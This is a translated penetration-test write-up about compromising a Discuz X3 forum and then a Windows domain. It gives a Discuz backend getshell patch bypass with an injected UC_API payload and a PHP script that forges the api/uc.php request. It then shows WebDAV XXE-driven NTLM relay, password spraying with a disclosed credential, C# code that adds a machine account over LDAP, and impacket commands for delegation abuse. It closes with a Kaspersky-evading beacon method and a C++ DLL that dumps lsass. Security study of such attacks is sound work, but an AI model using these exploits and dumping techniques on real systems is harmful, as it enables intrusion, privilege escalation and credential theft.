Discuz:A “different” real penetration test case analysis

Category: Tags: ,

0x00 Preface

This article is a technical analysis article derived from a real authorized penetration case. In the article, we will first briefly introduce the overall penetration process of this case and demonstrate part of it, but we will not describe it in detail. We will only briefly introduce the infiltration process, and then extract the highlights of the entire infiltration process, and then conduct technical analysis and discussion, hoping that different people will have different gains.

0x01 Brief description of penetration process

After receiving the project, the technical analysis team carried out project analysis and information collection and sorting, and sorted out a batch of domain names and some key sites. Among them, a combination of phpmyadmin and discuz was built, and both were exposed to the Internet, which is also very common A situation. Due to the parsing configuration problem of a certain web port of the website, php was not parsed and formed an arbitrary file download vulnerability. Through this vulnerability, we obtained the root account and password of MySQL. Due to the strict permission settings of the Linux server, it is impossible to log in to mysql directly with phpmyadmin and get the discuz webshell by escalation. After many attempts, we used phpmyadmin to replace the administrator hash to log in to the discuz backend. In the discuz backend, we used the vulnerability to modify the ucenter configuration file to write into the webshell.

After entering the intranet, I found a service containing java webdav (intra-domain windows, which will be called A server in the following text) when detecting the intranet web through simple 80 and 443. Use the xxe of java webdav to execute NTLM Relay. At the same time, collect the user names in the discuz database, use kerberos AS_REQ and password injection (a combination of a password and different user names and then KDC enumerate) fortunately to obtain a set of user accounts and passwords in the domain, and use this user to add a machine account. Combining NTLM Relay and this machine account, and using resource-based constrained delegation, the machine account has the authority to control server A. Log in to server A and bypass Kaspersky anti-virus software to grab the domain management password, and this task of tackling the problem ended. The sample picture is as follows:

In this penetration process, we believe that the Discuz x3 series and xxe to domain control are worthy of analysis and discussion.

0x02 Discuz X3 series

This section is divided into 3 parts. First, I will make a brief summary of the main vulnerabilities in the later versions of Discuz X3, then do some analysis on several keys of discuz, and finally release the latest discuz getshell.

Summary of Vulnerabilities in Discuz X3

At present, it is basically Discuz programs above x3, and only the vulnerabilities above x3 are summarized here. The summary is not to re-analyze every vulnerability. It is unnecessary. There are already many excellent analysis articles on the Internet. Then why should we summarize it? If you are a first-line penetration tester or a classmate who is evaluated by a red team, you should often encounter discuz. Often most classmates give up when they look at the program version and search for vulnerabilities. In everyone’s impression, discuz is difficult, and there is no need to spend too much time on it, but in fact discuz is not as safe as you think. This section will summarize the various small loopholes of discuz and put forward some ideas based on our own breakthroughs in discuz goals.

Types Applicable version Applicable conditions Utilization analysis Article
SSRF <= x3.4 Repair patch 1.windows<br/>2.php>5.3+php-curl<=7.54<br/>3.DZ is open on port 80 The use of SSRF is mainly to attack other services. In most cases, you need to use the gopher protocol.<br/>In DZ, you need to use the cache (redis, memcache) getshell. Of course, the tcp protocol simulated by gopher. If there are other in the server or intranet Available services, then you can also construct a data table to use. 1. Discuz x3.4 front SSRF analysis<br/>

2. DiscuzX Discovery and Utilization of Two SSRFs<br/>

3. Discuz! RCE caused by unauthorized access to Memcached

Arbitrary file deletion <= x3.4<br/>Repair patch Front user permissions After the installation of Discuz is successful, the installation files will be deleted after logging in to the background, so reinstallation and utilization cannot be realized. <br/>The main use in reality is to delete the index.htm file, and then use the directory traversal to obtain the backup file, through the various sensitive information (various KEY, hash) in the backup file, and then further use. Discuz!X ≤3.4 arbitrary file deletion vulnerability analysis
Short file name vulnerability Not repaired windows It seems to be a rather tasteless trick, but it is very useful when guessing the file name of some random commands. For example, we can download the database backup file by using the short file name (the file name contains random characters). Using the backup file, we can try to crack the user password. https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9
authkey prediction <x 3.4 No The essence of the problem is that mt_rand() shares the random number seed in the same process. Using the guessed authkey, we can crack the encryption verification process of discuz theme function Discuz_X authkey security vulnerability analysis
Background SQL injection <=3.4<br/>Repair patch Background permissions The discuz backend already has the database backup function, so the effect of select injection will be reduced a lot. The biggest significance of this vulnerability lies in the write file getshell of the lower version of mysql (writing to the discuz backup directory is not possible here, because the mkdir of discuz is set to 0777, However, due to the influence of umask, the actual write is 0755, so it is more difficult to write files), but because the x3 backend does not have the function of directly executing SQL, if there is an injection, we can cross-database query to get other websites with the same mysql . Discuz! X series full version background Sql injection vulnerability
Background injection vulnerability <=3.4<br/>Repair patch Background permissions Because it is an update injection, we can already use database backups to obtain data in the background. This is of little significance to this website, but if there are other websites with the same mysql, if the authority is not strict, cross-database query to get other websites with the same mysql. SQL injection
Set mysql arbitrary file reading in the background <=3.4<br/>Repair patch Background permissions After reading through the file, we can combine the use of keys such as uc_key and authkey. Mysql arbitrary file reading attack chain expansion
Background command execution 1.5-2.5<br/>Repair patch Background permissions This vulnerability is a command injection vulnerability, but due to the error of the developer, 3.x is not available. The vulnerability itself was only fixed in x3.4 CVE-2018-14729
RCE caused by unauthorized access to Memcached <=3.4 memcached permissions Need to modify the permissions of memcached, this permission can come from ssrf, can also come from unauthorized Discuz! RCE caused by unauthorized access to MemcachedDiscuz!因Memcached未授权访问导致的RCE
Discuz! X3.1 background arbitrary code execution <=x3.1 Background permissions The getshell method of the x3.1 intermediate version,just for reference Discuz! X3.1 background arbitrary code execution
Background uc_center code execution < 3.4<br/>Repair patch Background permissions Please see the following article content for use and analysis This article will analyze

To sum up:

For discuz’s ssrf vulnerability, access to the intranet IP is restricted in the patch, which makes it difficult to exploit.

In the background getshell, it is recommended to use uc_center rce to be more convenient, and to kill all versions including the latest version, as analyzed later.

UC_KEY direct getshell has been fixed in the latest version above x3, but it may be used in some versions before 3.2.

The above vulnerabilities should not be comprehensive, but the combination of a few humble small vulnerabilities will find great power. Careful readers should find that the greatest harm that most of the above vulnerabilities can cause is information leakage. What is the use of information leakage? Below we will analyze several Discuz keys. You should have understood here. Through information leakage, you can obtain relevant keys, break through Discuz’s encryption system, and gain higher authority.

Discuz several key analysis

Through analysis, in discuz, there are mainly the following kinds of keys, which together constitute the encryption and decryption system of discuz, the naming here is repeated, and I have marked the corresponding key value and the location of the key. As shown in the following table:

In fact, the main discussion is only authkey, UC_KEY(dz), UC_KEY(uc_server), UC_MYKEY, authkey(uc_server). Let’s first look at how these keys came from, and where they ended up.

Key generation

authkey, UC_KEY(dz), UC_KEY(uc_server), UC_MYKEY are all generated during installation. The generation of authkey (uc_server) is closely related to UC_MYKEY, which will be described in detail later. The generated code is as follows:

                $uid = DZUCFULL ? 1 : $adminuser['uid'];
                $authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
                $_config['db'][1]['dbhost'] = $dbhost;
                $_config['db'][1]['dbname'] = $dbname;
                $_config['db'][1]['dbpw'] = $dbpw;
                $_config['db'][1]['dbuser'] = $dbuser;
                $_config['db'][1]['tablepre'] = $tablepre;
                $_config['admincp']['founder'] = (string)$uid;
                $_config['security']['authkey'] = $authkey;
                $_config['cookie']['cookiepre'] = random(4).'_';
                $_config['memory']['prefix'] = random(6).'_';

                save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);

                $db = new dbstuff;

                $db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);

                if(!VIEW_OFF) {

                if(DZUCFULL) {

                $db->query("REPLACE INTO {$tablepre}common_setting (skey, svalue) VALUES ('authkey', '$authkey')");

We see that the key generation depends on the random function customized by discuz, and the authkey blasting problem that has occurred has also arisen. During the installation, due to the same cgi process, mt_rand() only sowed the seed once, so the problem of random number seed blasting and key guessing occurred. In version 3.4, the authkey is generated by splicing a complete 32-bit string, which makes it impossible to blast and calculate the first half of the authkey, so this problem has been fixed. But the principle of this vulnerability is worth learning. At the end of the code, it can be seen that the authkey is also placed in the database after it is generated, and finally the authkey exists in the database pre_common_setting table and the /config/config_global.php configuration file. The instal_uc_server() function in the code realizes the generation of UC_KEY(dz), UC_KEY(uc_server), using the same generation function _generate_key(), the code is as follows:

function _generate_key() {
 $random = random(32);
 $return = array();
 for($i=0; $i<32; $i++) {
  $return[$i] = $random[$i].$info[$i];
 return implode('', $return);

The generated algorithm involves the http header information of the installation environment and the installation process, causing the blasting to basically fail, which is unpredictable. Finally, UC_KEY(dz) is saved in /config/config_ucenter.php, and UC_KEY(uc_server) is saved in /uc_server/data/config.inc.php.

Thoughts on Discuz Key

We look at the source code to analyze the functions affected by each key. Through these function points, we can get more information. The integration and utilization of information is often the key to our penetration. Below we will do some thinking and give some examples.

1. authkey
The use of authkey occupies a heavy proportion in the main discuz program, mainly used for the encrypted storage and decryption of user data, such as the storage and use of alipay related payment data, the storage of FTP passwords, etc.; it is also used for verification of some functions , Such as verification code verification, upload hash verification, etc.; user permission verification also uses authkey, such as source/class/discuz/discuz_application.php in _init_user() using authkey to decode the auth field in the cookie , And use the unlocked uid and pw for permission verification, but only knowing that authkey cannot complete the permission verification, we also need to know the user’s “password hash” (the password field in the database pre_common_member table, here is only one The random value of md5, the real user password hash is in pre_ucenter_members), when we can read the database data through other methods, we can forge the login information to log in. For example, the authkey in source/include/misc/misc_emailcheck.php participates in the generation of the verification hash. When we know the authkey, by forging the hash, we can modify the user’s registered email address, and then use the password to retrieve the front-end user ( The administrator cannot use the password retrieval function).

2. UC_KEY(dz)
UC_KEY (dz) is also the protagonist of the frequently mentioned UC_KEY GetWebShell. It is mainly used in two places: one is for database backup api/db/dbbak.php; the other is for operations related to users and login and cache files. The main function is located in the uc_note class in api/uc.php.

Regarding the use of UC_KEY(dz), basically GetWebShell is through uc.php, but this vulnerability has been fixed in the new version. The use of UC_KEY(dz) is not limited to this. If you read the dbbak.php code, you will find that with UC_KEY(dz) we can directly back up the database, download the database, and find relevant information from the database for further penetration.

Another place is the uc_note class. For example, the synlogin() function inside can fake login to any front-end user. Of course, there are other functions, which are not analyzed here.

3. UC_KEY(uc_server)
UC_KEY (uc_server) is often overlooked by everyone, it is actually more used than UC_KEY (dz). First of all, he can also back up the database. Students who are familiar with the discuz code should know that there are two dbbak.php files, one is the api/db/dbbak.php mentioned above; the other is uc_server/api/dbbak.php, Their code can be said to be almost the same. The only difference is that there are two more constant definitions in api/db/dbbak.php, which basically does not affect much. These two files can be controlled by UC_KEY (dz) and UC_KEY (uc_server).

UC_KEY (uc_server) almost controls all Ucenter functions related to authorization authentication. For example, the permission verification function sid_decode(), in which UC_KEY (uc_server) and the user-controllable http header jointly generate the sid for permission authentication, so we can forge the sid to bypass some permission checks. There are also related uses of seccode, which will not be introduced here.

The entire discuz program actually includes the discuz main program and Ucenter, and Ucenter relies more on a fixed key system. I feel that the vulnerability of Ucenter may be easier to discover than the vulnerability of the discuz main program, you can try.

UC_MYKEY is mainly used to encrypt and decrypt UC_KEY (discuz), as shown below:

UC_KEY(dz) ----- authcode(UC_MYKEY, ENCODE) ----> authkey(uc_server)

authkey(uc_server) ----- authcode(UC_MYKEY, DECODE) ----> UC_KEY(dz)

authkey (uc_server) is stored in the authkey field in pre_ucenter_applications of the database. The code generated by authkey (uc_server) is as follows:

                        $authkey = getgpc('authkey', 'P');
                        $authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);
                        $synlogin = getgpc('synlogin', 'P');
                        $app = $this->db->result_first("SELECT COUNT(*) FROM ".UC_DBTABLEPRE."applications WHERE name='$name'");
                        if($app) {
                                $this->message('app_add_name_invalid', 'BACK');
                        } else {
                                $extra = serialize(array('apppath'=> getgpc('apppath', 'P')));
                                $this->db->query("INSERT INTO ".UC_DBTABLEPRE."applications SET name='$name', url='$url', ip='$ip',
                                        viewprourl='$viewprourl', apifilename='$apifilename', authkey='$authkey', synlogin='$synlogin',
                                        type='$type', recvnote='$recvnote', extra='$extra',
                                $appid = $this->db->insert_id();

Now we can know that UC_KEY(dz) can be obtained from two places, one is the configuration file and the other is the database. Those who are familiar with discuz will find a problem. The authkey (uc_server) obtained by injection can sometimes be used directly as UC_KEY (dz). But sometimes it is found to be a string greater than 64 bits or a string less than 64 bits. This is because, if it is the default discuz main program and Ucenter installation, at this time the authkey field in the database pre_ucenter_applications is stored as UC_KEY(dz). If you modify UC_KEY(dz) through the ucenter background, the authkey field in the database pre_ucenter_applications is stored Is the result calculated by the algorithm mentioned above. The length of this result is variable, it is a string of 40 bits or more.

to sum up

For getshell, in the low version before x3 and some unupdated versions before x3.2, we can directly use discuz’s uc_key(dz) combined with api/uc.php front-end getshell to obtain uc_key(dz). :

The authkey (uc_server) in the database is combined with UC_MYKEY, which can also be seen in the UCenter background, without using * to display.
Obtain uc_key(dz) for file leakage and other issues
After the x3 version, the use of keys is mainly focused on operating the database and UCenter functions, using various methods to enter the discuz background, combined with the background GetWebShell method described next to obtain the final permissions.

GetWebShell patch bypass in the background
In the version less than x3.4, the use method that has been announced on the Internet is to modify the Ucenter database connection information in the background. Since the writing is not escaped, the one-sentence Trojan is directly written into the config/config_ucenter.php file, causing the code to execute.

But this vulnerability has been fixed in the new version of x3.4, the code is as follows:

// https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/source/admincp/admincp_setting.php  x3.4
  if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
    require_once './config/config_ucenter.php';

    $ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);
    $settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);

    if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){
      cpmsg('uc_config_load_data_local_infile_error', '', 'error');

    if($settingnew['uc']['connect']) {
      $uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);
      if(!$uc_dblink) {
        cpmsg('uc_database_connect_error', '', 'error');
      } else {
        if(function_exists("mysql_connect")) {
        } else {

    $fp = fopen('./config/config_ucenter.php', 'r');
    $configfile = fread($fp, filesize('./config/config_ucenter.php'));
    $configfile = trim($configfile);
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

    $connect = '';
    $settingnew['uc'] = daddslashes($settingnew['uc']);
    if($settingnew['uc']['connect']) {
      $connect = 'mysql';
      $samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
      $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
      $configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);
      $configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);
      $configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile);

The patch escapes $ucdbpassnew, and if(function_exists(“mysql_connect”) && ini_get(“mysql.allow_local_infile”)==”1″ && constant(“UC_DBHOST”) != $settingnew[‘uc’][‘ dbhost’]), this patch also solves the problem of malicious mysql file reading.

Bypass patch
Through the patch, we know that all Ucenter configuration parameters will be escaped, but I found that the configuration file changes of discuz are all done by replacing characters. It is easy to have problems in the replacement characters, so look for the relevant code for configuration modification in the source code, and finally find the utilization point in api/uc.php.


if(!defined('IN_UC')) {
  require_once '../source/class/class_core.php';

  $discuz = C::app();

  require DISCUZ_ROOT.'./config/config_ucenter.php';

  $get = $post = array();

  $code = @$_GET['code'];
  parse_str(authcode($code, 'DECODE', UC_KEY), $get);

  if(time() - $get['time'] > 3600) {
    exit('Authracation has expiried');
  if(empty($get)) {
    exit('Invalid Request');

  include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
  $post = xml_unserialize(file_get_contents('php://input'));

  if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {
    $uc_note = new uc_note();
    echo call_user_func(array($uc_note, $get['action']), $get, $post);
  } else {
} else {
  function updateapps($get, $post) {
    global $_G;


    $UC_API = '';
    if($post['UC_API']) {
      $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);

    $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
    $fp = fopen($cachefile, 'w');
    $s = "<?php\r\n";
    $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
    fwrite($fp, $s);

    if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {
      if(preg_match('/^https?:\/\//is', $UC_API)) {
        $configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
        if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
          @fwrite($fp, trim($configfile));

The update of uc_api is completed in the updateapps function. The regularity here is non-greedy when matching. There will be a problem here. When uc_api is define(‘UC_API’,’\ ‘);phpinfo();//’); When we execute the updateapps function to update uc_api, phpinfo(); will be released. To use updateapps to update uc_api, we need to know the value of UC_KEY(dz), and the value of UC_KEY(dz) happens to be set by our background.


Utilization analysis

The following content is visible to members

[wc_pay_can_read   id=’2026,2029,2030′  tishi=’You do not have permission to read this content, click here to become a member and refresh this page to read it’]


Enter the background webmaster-Ucenter settings, set UC_KEY=optional (remember, you will use it later), UC_API=’);phpinfo();//

Successfully written into the configuration file, here the single quotes have been transferred, we then use UC_KEY(dz) to call the updateapps function in api/uc.php to update UC_API.

1:Use UC_KEY(dz) to generate code parameters. People who have used UC_KEY(dz) GetWebShell are no strangers. The UC_KEY(dz) used here is what we set above.

  1. <?php
    $time = time() + 720000;
    $str = "time=".$time."&action=updateapps";
    $code = authcode($str,"ENCODE",$uc_key);
    $code = str_replace('+','%2b',$code);
    $code = str_replace('/','%2f',$code);
    echo $code;
    function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
      $ckey_length = 4;
      $key = md5($key != '' ? $key : '123456');
      $keya = md5(substr($key, 0, 16));
      $keyb = md5(substr($key, 16, 16));
      $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
      $cryptkey = $keya.md5($keya.$keyc);
      $key_length = strlen($cryptkey);
      $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
      $string_length = strlen($string);
      $result = '';
      $box = range(0, 255);
      $rndkey = array();
      for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
      for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
      for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
      if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
          return substr($result, 26);
        } else {
          return '';
      } else {
        return $keyc.str_replace('=', '', base64_encode($result));
  2. Bring the generated data into the code parameter in the GET request and send the data packet


Visit The code is executed successfully


At this point, GetWebShell is successful. In this process, one thing to note is that we modified the original UC_KEY(dz) of the program. After successful GetWebShell, it must be repaired. There are 2 methods:

Read the authkey (uc_server) from the database, and obtain UC_KEY (dz) through UC_MYKEY decryption. Of course, it is possible that the authkey (uc_server) is UC_KEY (dz).
Go directly to the Ucenter background and modify UC_KEY to the value set in our GetWebShell process.


0x03 XXE to domain control
In this section we will talk about the story of WEBDAV XXE (JAVA) using NTLM Relay and a machine account to set up resource-based constrained delegation to RCE. Of course, bypassing Kaspersky dump lsass is also very exciting. The process diagram is as follows:



As mentioned in the previous article, we found a web server with java application deployed after entering the intranet, and detected the existence of the /webdav directory on the website.

In the ppt (What should a hacker know about WebDav?) of a security researcher mentioned: Generally webdav supports a variety of http methods, and methods such as PROPPATCH, PROPFIND, and LOCK will form xxe when they accept XML as input.

The http methods supported under our detection:


We successfully received the xxe request when testing the PROPFIND method:



Conventional xxe, people generally think of reading arbitrary files, and using gopher to play redis. In “Ghidra from XXE to RCE” mentioned the use of java xxe for ntlm relay operation. Because when sun.net.www.protocol.http.HttpURLConnection sends an HTTP request, when it encounters an HTTP return header with a status code of 401, it will determine which authentication method the page requires. If the attacker replies to require NTLM authentication, it will automatically use the current user credentials for authentication.



Now that we have successfully obtained the NTLM authentication request, the next step is the NTLM relay.

NTLM relay and domain machine account addition

What is NTLM relay

To understand what an NTLM relay is, you must first know the general process of NTLM authentication. Here is a brief description. For details, please refer to The NTLM Authentication Protocol and Security Support Provider.

There are 3 steps in the NTLM authentication protocol:

Negotiation: The first step in NTLM authentication is the negotiation of the protocol and what functions the client supports. At this stage, the client sends an authentication request to the server, which includes the NTLM version accepted by the client.

Challenge: The server responds with its own message, indicating the NTLM version it accepts and the function to be used. The message also includes the challenge value.

Response: After receiving the challenge, the client encrypts the challenge with a hash and sends it to the server as the NTLM Response field.

NTLM authentication is based on a challenge response protocol. The server sends a challenge, and the client replies to the challenge. If the challenge matches the one calculated by the server, the authentication is accepted.



Knowing the general process of NTLM identity authentication, let’s talk about NTLM relay. As shown in the figure below, if we can ask Client A to initiate NTLM authentication to our Evil Server X, then we can use Client A’s authentication information to authenticate to Server B, which is the ntlm relay. Seeing this, do you think this is a man-in-the-middle attack? Yes, this is a man-in-the-middle attack.



Knowing the NTLM relay, combined with the role of Java WEBDAV XXE, using HTTP 401 authentication, we can directly use the credentials of the WEBDAV server to initiate authentication to the domain controller, and let the domain controller think that we are a WEBDAV server.

Add machine accounts in the domain

Someone may ask here, isn’t the relay mentioned earlier? Why not use the method mentioned in Ghidra from XXE to RCE and Ghost Potato, go to Relay and call RPC for related operations, and add machine accounts? Because this WEBDAV service runs under the system authority, and when the system account is used for Relay, the machine account is used to request. There is no way to increase the authority RPC interface, so you cannot directly Relay back to itself and call RPC.



Since it is not possible to directly Relay back to itself and then call RPC, we change our mindset and use resource-based constrained delegation to obtain permissions.

When using resource constraint delegation, a machine account is required to cooperate (this statement is actually not accurate. It should be an account with an SPN. More specifically, a TGT of an account is required, and a machine account is required instead. The previous statement is because the machine account has some SPNs by default. These SPNs include the cifs we will use later. I won’t go into details here. The machine account will be used to describe it later), and the default domain-controlled ms-DS -MachineAccountQuota attribute setting allows all domain users to add up to 10 computer accounts to a domain, that is, as long as there is a domain credential, you can add machine accounts in the domain at will. This credential can be a user account, service account, or machine account in the domain.

Then the problem comes again, since a machine account is needed, the aforementioned

When using the system account for Relay, the machine account is used to request

The machine account mentioned in this place is the machine account of the WEBDAV server in our article. Why not use this machine account and add one yourself? Those who understand delegation based on resource constraints should know that we need to use a machine account to apply for TGT tickets, but if we use the machine account of the WEBDAV server, we don’t know the password or hash of the machine account. Then there is no way to apply for TGT. If it is the machine account that we created, we know the password so that we can apply for TGT, and we will not continue the analysis here. The process involved is extremely complicated, and those who are interested can learn by themselves.

Back to the topic, how do we create a machine account in the domain.

We organize the user name in the previous discuz database into a dictionary, and use the kerberos AS_REQ return package to determine whether the user name exists.



Next, take the discuz password to cmd5 for batch decryption. After decryption, it is found that most of the users’ login passwords are P@ssw0rd, so I use password spray (a combination of a password and a different user name to KDC enumerate), and successfully obtained A domain credential n0thing@blueteam.com:P@ssw0rd


Once you have the domain credentials, you can connect to the domain controller ldap to add a machine account. I have to say that .net is really a good language. This function can be easily implemented with System.DirectoryServices.Protocols.

//connect ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
NetworkCredential nc = new NetworkCredential(username, password); //Log in with credentials
System.DirectoryServices.Protocols.LdapConnection connection = null;

connection = new System.DirectoryServices.Protocols.LdapConnection(identifier,nc);

connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;

var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)

Console.WriteLine("[+] Machine account: " + machine_account + " Password: "+ new_MachineAccount_password + " added");

Careful people may think: “It is good to use xxe to relay to the domain controller’s ldap and then add a machine account, no other methods are needed!”. However, Domain Controller does not allow creating computer accounts on unencrypted connections. Regarding encryption involving tls/ssl and sasl, I won’t talk about it in detail here.

A small tool written in .net easily adds a machine account.


Now that we have a machine account, we will use resource-based constrained delegation.

Resource-based constrained delegation

Windows Server 2012 has newly added kerberos resource-based constrained delegation (rbcd). Compared with traditional constrained delegation, it no longer requires a domain administrator to configure it. You can configure the msDS-AllowedToActOnBehalfOfOtherIdentity property directly on the machine account to set it. Resource-based constrained delegation. The function of this attribute is to control which users can be simulated as any user in the domain, and then authenticate to the computer (dev2). In short: If we can modify this attribute then we can get a ticket for the domain administrator, but the ticket is only valid for this machine (dev2), and then take this ticket to the machine (dev2) ) For authentication (here is just a brief description, may not be accurate).

Now we start the actual operation, first use the ntlmrelayx.py tool in the impacket toolkit to monitor on our VPS.

./ntlmrelayx.py  -t ldap://ad1.blueteam.com -debug  -ip --delegate-access --escalate-user evilpc\$

Then use xxe to request our VPS, and then relay the credentials to the LDAP service of the domain control server to set up resource-based constrained delegation.


Use the s4u protocol to apply for a high-authority ticket.

python getST.py -dc-ip ad1.blueteam.com blueteam/evilpc\$:123456 -spn cifs/dev1.blueteam.com -impersonate administrator

After obtaining the service ticket, you can log in to the WEBDAV server directly

export KRB5CCNAME=administrator.ccache
python smbexec.py -no-pass -k dev1.blueteam.com

The entire RCE process is now over, but the domain control has not yet been taken, and the infiltration task has not yet ended. First put a GIF to demonstrate the entire RCE process, and then talk about how to get the domain control.



Confrontation with Kaspersky

In fact, the process of taking down the domain control is very normal, that is, the account password of the domain administrator is captured on the WEBDAV server. But the difficulty here is the confrontation with Kaspersky. If you can’t bypass the antivirus software, you won’t be able to get the domain administrator’s account password.

Kaspersky Total Protection Edition installed here for testing.


1. Bypass Kaspersky Lateral Movement

In the real scene, it will not be as smooth as the local environment. What if Kaspersky exists when we get a high-privilege ticket and prepare to pass the ticket to the dev2 machine? The regular smbexec.py will be intercepted.



Our bypass method here is to upload a beacon with smb, and then execute the beacon by creating a startup service, without interception in the whole process. Of course beacon.exe needs to be processed to avoid killing.



2. Bypass Kaspersky to capture the password in lsass

I know that the domain administrator has logged in to this machine, but there is no way to capture the password. What should I do? The following will introduce how to solve this problem. I believe that many people encountered Kaspersky in the Red Team operation, and they also know how abnormal it is to prevent passwords from being grabbed from lsass. Even if you use a Microsoft-signed memory dump tool, it will be blocked, let alone mimikatz.

I accidentally saw an article Exploring Mimikatz-Part 2-SSP on a blog about adding an SSP dll via RPC call. I suddenly found that lsass itself can definitely read its own memory. Load the dll into the lsass process and dump the memory. Bypassed?

Download and compile this code ssp_dll.c, and then write a dll that dumps the process memory.

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable,
    BOOL CurrentThread, PULONG Enabled);

int dump() {

    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;

    MiniDumpW = (_MiniDumpW)GetProcAddress(
        LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
        GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

    if (MiniDumpW == NULL) {

        return 0;
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);

    wchar_t  ws[100];
    swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784 is the pid number of the lsass process  "<pid> <dump.bin> full" 

    MiniDumpW(0, 0, ws);
        return 0;


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
        switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        return TRUE;

In this way, Kaspersky is bypassed, and the dump is in the memory of lsass.


Finally, the general operation of importing mimikatz locally will not go into details, just a few screenshots.

